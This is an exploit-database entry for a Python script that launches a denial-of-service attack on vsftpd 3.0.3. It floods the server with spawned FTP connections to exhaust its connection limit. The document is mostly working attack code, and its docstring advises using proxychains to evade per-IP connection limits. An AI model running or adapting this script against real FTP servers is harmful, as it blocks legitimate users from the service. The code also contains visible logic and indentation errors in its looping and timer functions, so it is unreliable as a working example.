# Exploit Title: vsftpd 3.0.3 - Remote Denial of Service
# Date: 22-03-2021
# Exploit Author: xynmaps
# Vendor Homepage: https://security.appspot.com/vsftpd.html
# Software Link: https://security.appspot.com/downloads/vsftpd-3.0.3.tar.gz
# Version: 3.0.3
# Tested on: Parrot Security OS 5.9.0

#-------------------------------#

#encoding=utf8
#__author__ = XYN/Dump/NSKB3
#VSFTPD Denial of Service exploit by XYN/Dump/NSKB3.
"""
VSFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
(if it's limited, just run this script from different proxies using proxychains, and it will work)
"""

import socket
import sys
import threading
import subprocess
import time

banner = """
._________________.
|     VS-FTPD     |
|      D o S      |
|_________________|
|By XYN/DUMP/NSKB3|
|_|_____________|_|
|_|_|_|_____|_|_|_|
|_|_|_|_|_|_|_|_|_|

"""
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])

def test(t,p):
  s = socket.socket()
  s.settimeout(10)
  try:
    s.connect((t, p))
    response = s.recv(65535)
    s.close()
    return 0
  except socket.error:
    print("Port {} is not open, please specify a port that is open.".format(p))
    sys.exit()
def attack(targ, po, id):
  try:
    subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    #print("Worker {} running".format(id))
  except OSError: pass
def main():
  global target, port, start
  print banner
  try:
    target = sys.argv[1]
  except:
    print usage
    sys.exit()
  try:
    port = int(sys.argv[2])
  except:
    port = 21
  try:
    conns = int(sys.argv[3])
  except:
    conns = 50
  print("[!] Testing if {0}:{1} is open".format(target, port))
  test(target, port)
  print("[+] Port {} open, starting attack...".format(port))
  time.sleep(2)
  print("[+] Attack started on {0}:{1}!".format(target, port))
  def loop(target, port, conns):
    global start
    threading.Thread(target=timer).start()
    while 1:
      for i in range(1, conns + 3):
        t = threading.Thread(target=attack, args=(target,port,i,))
        t.start()
        if i > conns + 2:
          t.join()
          break
          loop()

  t = threading.Thread(target=loop, args=(target, port, conns,))
  t.start()

def timer():
        start = time.time()
        while 1:
                if start < time.time() + float(900): pass
                else:
                        subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        t = threading.Thread(target=loop, args=(target, port,))
      t.start()
                        break

main()